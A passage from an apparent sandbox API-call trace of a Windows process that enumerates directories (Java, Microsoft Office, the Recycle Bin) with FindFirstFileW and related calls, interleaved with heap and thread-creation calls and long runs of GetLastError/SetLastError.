ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4487d1a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0057.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0057.922] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0057.923] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.923] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0057.923] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0057.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\jfr\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\jfr\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0057.923] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0057.923] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\management\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\management\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0057.924] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0057.925] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0060.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\security\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\security\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0062.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\security\\policy\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\security\\policy\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0062.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\security\\policy\\limited\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\security\\policy\\limited\\*"), lpFindFileData=0x2cae4d8 | out: lpFindFileData=0x2cae4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448c9460, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448c9460, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0063.701] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0063.701] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0063.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\security\\policy\\unlimited\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\security\\policy\\unlimited\\*"), lpFindFileData=0x2cae4d8 | out: lpFindFileData=0x2cae4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448ef5c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0064.724] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0064.724] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.724] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.724] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0064.726] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0064.726] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0066.805] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0066.806] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0067.379] FindClose (in: hFindFile=0x4d87a0 | out: hFindFile=0x4d87a0) returned 1 [0067.379] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0067.405] FindClose (in: hFindFile=0x4d8760 | out: hFindFile=0x4d8760) returned 1 [0067.406] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0067.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*" (normalized: "c:\\program files\\microsoft office\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xc6ae4110, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ae4110, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8760 [0067.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\*" (normalized: "c:\\program files\\microsoft office\\office16\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xc8272940, ftLastAccessTime.dwHighDateTime=0x1d93032, ftLastWriteTime.dwLowDateTime=0xc8298aa0, ftLastWriteTime.dwHighDateTime=0x1d93032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0067.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\*" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xc824c7e0, ftLastAccessTime.dwHighDateTime=0x1d93032, ftLastWriteTime.dwLowDateTime=0xc8357180, ftLastWriteTime.dwHighDateTime=0x1d93032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 Thread: id = 45 os_tid = 0xfd8 [0049.916] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x38) returned 0xab5f78 [0049.916] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x18) returned 0xab5fb8 [0049.916] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x154 [0049.916] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x158 [0049.916] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x15c [0049.916] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2a973b0 [0049.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xb83a08, lpParameter=0x2e6fbe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160 [0049.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xb83a08, lpParameter=0x2e6fbe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164 [0049.918] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2aa73b8 [0049.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*" (normalized: "c:\\*"), lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x4cda50 [0049.919] GetLastError () returned 0x0 [0049.919] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x214) returned 0xabdf28 [0049.920] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0049.920] GetCurrentThreadId () returned 0xfd8 [0049.920] SetLastError (dwErrCode=0x0) [0049.920] GetLastError () returned 0x0 [0049.920] SetLastError (dwErrCode=0x0) [0049.920] GetLastError () returned 0x0 [0049.920] SetLastError (dwErrCode=0x0) [0049.920] GetLastError () returned 0x0 [0049.920] SetLastError (dwErrCode=0x0) [0049.920] GetLastError () returned 0x0 [0049.920] SetLastError (dwErrCode=0x0) [0049.920] GetLastError () returned 0x0 [0049.920] SetLastError (dwErrCode=0x0) [0049.920] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2ab73c0 [0049.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*" (normalized: "c:\\$recycle.bin\\*"), lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4cda90 [0049.921] FindNextFileW (in: hFindFile=0x4cda90, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0049.921] FindNextFileW (in: hFindFile=0x4cda90, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0049.921] GetLastError () returned 0x0 [0049.921] SetLastError (dwErrCode=0x0) [0049.921] GetLastError () returned 0x0 [0049.921] SetLastError (dwErrCode=0x0) [0049.921] GetLastError () returned 0x0 [0049.921] SetLastError (dwErrCode=0x0) [0049.921] GetLastError () returned 0x0 [0049.921] SetLastError (dwErrCode=0x0) [0049.921] GetLastError () returned 0x0 [0049.921] SetLastError (dwErrCode=0x0) [0049.921] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2ac73c8 [0049.922] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\*" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4cdad0 [0049.922] FindNextFileW (in: hFindFile=0x4cdad0, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x4cdad0, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.922] GetLastError () returned 0x0 [0049.922] SetLastError (dwErrCode=0x0) [0049.922] GetLastError () returned 0x0 [0049.922] SetLastError (dwErrCode=0x0) [0049.922] GetLastError () returned 0x0 [0049.922] SetLastError (dwErrCode=0x0) [0049.922] GetLastError () returned 0x0 [0049.922] SetLastError (dwErrCode=0x0) [0049.922] GetLastError () returned 0x0 [0049.922] SetLastError (dwErrCode=0x0) [0049.922] GetLastError () returned 0x0 [0049.922] SetLastError (dwErrCode=0x0) [0049.922] GetLastError () returned 0x0 [0049.922] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.923] SetLastError (dwErrCode=0x0) [0049.923] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.924] SetLastError (dwErrCode=0x0) [0049.924] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.925] SetLastError (dwErrCode=0x0) [0049.925] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.926] SetLastError (dwErrCode=0x0) [0049.926] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.927] SetLastError (dwErrCode=0x0) [0049.927] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.928] SetLastError (dwErrCode=0x0) [0049.928] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.929] SetLastError (dwErrCode=0x0) [0049.929] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.930] SetLastError (dwErrCode=0x0) [0049.930] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.931] SetLastError (dwErrCode=0x0) [0049.931] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.932] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.932] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.932] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.932] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.932] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.932] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.932] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.932] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.932] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.932] GetLastError () returned 0x0 [0049.932] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.933] GetLastError () returned 0x0 [0049.933] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) 